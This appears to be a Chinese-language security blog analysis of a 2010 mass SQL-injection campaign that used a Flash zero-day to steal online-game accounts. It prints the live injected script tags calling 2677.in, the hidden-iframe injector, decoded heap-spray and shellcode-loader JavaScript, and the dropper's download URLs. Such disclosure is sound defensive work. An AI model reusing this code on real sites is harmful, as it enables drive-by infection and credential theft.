以上並沒太大特別之處,從2008年初開始的大規模掛馬攻擊,SQL注入手法大致都是如上。
我們研究30個被感染的網站,如預期,感染的網站都是IIS與ASP.NET。

[2. 使用者端]
下面是受感染網頁的取樣:
<div class="tomsqre_top"><p><img width="758" height="700" src="/userfiles/image/20100520_tomsquare.jpg" alt="" /></p><script src=http://2677.in/yahoo.js></script></div>
<title>New Vans and Used Vans Ipswich<script src=http://2677.in/yahoo.js></script> - Norfolk Trucks Ipswich</title>
yahoo.js是我們所謂的「entry snippet」,也就是受感染的源頭。接下來攻擊觸發之流程為:

以下我們描述細部過程。
1. http://2677.in/yahoo.js 動態產生兩個iframe,連向: http://2677.in/cnzz.html (網站流量統計服務 counter) and http://2677.in/ie.htm (flash 攻擊程式 exploit)
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
2. http://2677.in/cnzz.html 使用免費流量統計服務 cnzz.com 來觀察感染趨勢。
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>
我們連往流量統計的業面,可以發現攻擊者的代號是"dnf666."。很耳熟嗎?
沒有錯,這個跟三月發生的"dnf666.net"大規模掛馬攻擊事件,是同一團體。代號一樣:dnf666,SQL與掛馬手法如出一轍,也都是使用cnzz作為流量統計服務。
然後其實,robint.us攻擊事件,也是使用cnzz:http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
更好玩的是,三月時發生的"dnf666.net"攻擊事件,其實惡意網址中有"robints.us"。對,比這次"robint.us",多了一個"s"。
這裡有更多的證據。
所以目前的結論是,三月時"dnf666"發動了一波大規模掛馬攻擊,使用的惡意網址中包含了robints.us。最近,他們利用了Adobe Flash 0day (VE-2010-1297)發動了另一波攻擊:robint.us以及2677.in.
DNF就是地下城與勇士(Dungeon Fighter),在台灣是遊戲橘子代理,在內地是放在QQ平台上。dnf666.net這個網站,當初一開始是散播(非法)DNF的外掛。
分析這些資訊,看在到本文的結論:這兩波攻擊,都是為了偷線上遊戲帳號,其實已經不意外了。
3. http://2677.in/ie.html 將執行heap spray的程式,存於一個DOM物件中:
解碼後比較容易看:
var a = new Array();
var xcode=loader("log.txt","MM","NN")*262144;
var shellcode=loader("log.txt","XX","YY");
var ls = xcode-(shellcode.length*2+0x01020);
var b = loader("log.txt","VV","WW");
while(b.length<ls)
{
b+=b;
}
var lh=b.substring(0,ls/2);
delete b;
lh = lh + shellcode;
在我們的流程圖中,我們將這個標示成"trick 1",因為這個技巧(trick)可以躲過某些自動化行為偵測工具,也就是只有實做javascript引擎而沒有實做DOM的自動化行為偵測工具。換言之,如果單純使用SpiderMonkey或Rhino,沒有加其他機制,或補強,那麼這個技巧就很可能可以多過偵測。
4. 這個DOM物件被<div id=sun>ie.html中的javascript利用eval()執行,然後向log.txt中取的攻擊用的shellcode。
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
在我們的流程圖中,我們將這個標示成"trick 2",因為這招對於某些自動化行為偵測工具有下。工具如果沒有實做完整的瀏覽器環境,那麼就無法向外取的log.txt中的shellcode。另一方面,這也讓該掛馬架構多些彈性:改shellcode不需改binary。
5. http://2677.in/ie.html中內嵌了flash(swf)的攻擊程式anhey.swf(CVE-2010-1297)
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");
就這樣子了。ie.html中的javascript執行heap spray,並將經由log.txt取得的shellcode放入記憶體中,然後再經由anhey.swf來觸發攻擊。
看到這些手法,,還有"anhey.swf"這個檔名(robint.us / 2677.in 兩波攻擊都是此檔名),很多人應該已經猜出掛馬產生的工具了。
第一波robint.us攻擊中有以下程式碼:
var cuteqq = unescape(payload.replace(/CUTE/g, "%u"));
nopsled = unescape("%u0a0a%u0a0a");
這裡有第二個關鍵字:"cuteqq"。
CuteQQ與Anhey是同一家公司,兩個網址都對應到同一個網站,專門賣產生掛馬的工具:

我們看以下畫面。這個工具可以讓攻擊者填入要使用的網頁流量統計網頁(這次用的是cnzz.com)。同時,也支援"flash 10 0day"。中間則可以選一些躲避偵測的技術。

6. http://2677.in/anhey.swf 攻擊Adobe flash 的CVE-2010-1297,並於受害者機器中產生(drop)http://2677.in/log.exe
7. http://2677.in/log.exe的行為如下:
Behavior: DLL-Injection (Target: rundll32.exe) functions.
Modules
Base=10000000 Size=00003000 rundll32.exe
Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp
讀取: http://d.iamcome.in/u.txt,內容:
222
http://d.iamcome.in/ma.exe
8. 根據u.txt中的指令,log.exe下載惡意程式http://d.iamcome.in/ma.exe,ma.exe行為如下:
Behavior: DLL-Injection (Target: explorer.exe) functions.
Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe
Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos
ma.exe偷以下的線上遊戲帳號:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com
[3. 結論]
伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。
使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。
整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。
[4. 相關報導]
ThreatPost: SQL Injection Attacks Aimed at Stealing Gaming Credentials, Experts Say
InformatinWeek: SQL Injection Attacks Return
H-Online: Mass website hack aimed at online gamers
Host Exploit: SQL Injection Attacks Return
[5. 附錄]
1. HackAlert V3 forensics query dump
Visited path: http://2677.in/ie.html
Source code:
======
<script language='JavaScript'>
function ajax()
{
var xmlhttp_request = false;
try {
xmlhttp_request= new ActiveXObject('Msxml2.XMLHTTP');
} catch (e)
{
try {
xmlhttp_request= new ActiveXObject('Microsoft.XMLHTTP');
} catch (E) {
xmlhttp_request= null;
}
}
if (!xmlhttp_request && typeof XMLHttpRequest != 'undefined')
{
xmlhttp_request= new XMLHttpRequest();
}
return xmlhttp_request;
}
function loader(url,a,b)
{
var xmlhttp = ajax();
xmlhttp.open('get', url, false);
xmlhttp.send();
var page = xmlhttp.responseText;
page=page.replace(/jj/g,"%u");
var x=page.indexOf(a);
var y=page.indexOf(b)
var code=page.substring(x+2,y);
code=unescape(code);
return code;
}
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
var i=0;
var j=0;
var bb=new Array();
for (i = 0; i < 0xd0; i++)
a[i] = lh.substr(0, lh.length);
for(i=0;i<0x100;i++)
for(j=0;j<0x10;j++)
bb[i*0x10+j] = lh.substr(0, (0x10000-(0x01020))/2);
for(i=0;i<0x100;i++)
for(j=0;j<0x0f;j++)
bb[i*0x10+j]=null;
for (i = 0x1d0; i < loader("log.txt","MM","NN")*0x100; i++)
a[i-0x100] = lh.substr(0, lh.length);
for(i=0;i<0x100;i++)
bb[i*0x10+0x0f]=null;
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");
</script>
========
Visited path: http://2677.in/cnzz.html
Source code:
======
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>
========
Visited path: http://2677.in/yahoo.js
Source code:
======
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
========
Visited path: http://www.ex-designz.net/topnavmenu.css
Source code:
======
#hnavmen {
float:right;
width:100%;
(truncated)
========
Visited path: http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191
Source code:
======
function gv_cnzz(of){
var es = document.cookie.indexOf(";",of);
if(es==-1) es=document.cookie.length;
return unescape(document.cookie.substring(of,es));
}
(truncated)
========
2. Parts of anhey.swf:
internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
public dynamic class ball extends flash.display::MovieClip
{
//========================= Variables
public var nsPoints : NumericStepper;
public var test1 : *;
public var test2 : *;
public var a : *;
public var b : *;
public var test5 : *;
public var test6 : *;
public var rbEvenOdd : RadioButton;
public var test8 : *;
public var test9 : *;
public var test3 : *;
public var test4 : *;
public var test7 : *;
//========================= Methods
public static function ball()
{
return;
}
public function ball()
{
super();
addFrameScript(0, this.frame1);
this.__setProp_nsPoints_Scene1_Layer1_0();
this.__setProp_rbEvenOdd_Scene1_Layer1_0();
return;
}
internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
internal function frame1()
{
this.a = "bbbbbbbbbbbbbbbbbbbbbb";
this.b = "zbzabbbbbbbbbbbbbbb";
this.test3 = "aaaaaaaaaaaaaaaaa";
this.test1 = "aaaaaaaaaaaaaaaaa";
this.test2 = "aaaaaaaaaaaaaaaaa";
this.test4 = "aaaaaaaaaaaaaaaaaasdasdasdasdasdasdasdasdasdasdasdasdasdasdas";
this.test5 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test6 = "sdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdaaaaaaa";
this.test7 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test8 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test9 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
return;
}
internal function __setProp_rbEvenOdd_Scene1_Layer1_0()
{
try {
this.rbEvenOdd["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.rbEvenOdd.enabled = true;
this.rbEvenOdd.groupName = "rbgW";
this.rbEvenOdd.label = "sdadasd";
this.rbEvenOdd.labelPlacement = "right";
this.rbEvenOdd.selected = true;
this.rbEvenOdd.value = "0";
this.rbEvenOdd.visible = true;
try {
this.rbEvenOdd["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
}
public dynamic class focusRectSkin extends flash.display::MovieClip
{
//========================= Methods
public static function focusRectSkin()
{
return;
}
public function focusRectSkin()
{
super();
return;
}
}
}
(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)
繼續閱讀全文...
訂閱:
文章
(
Atom
)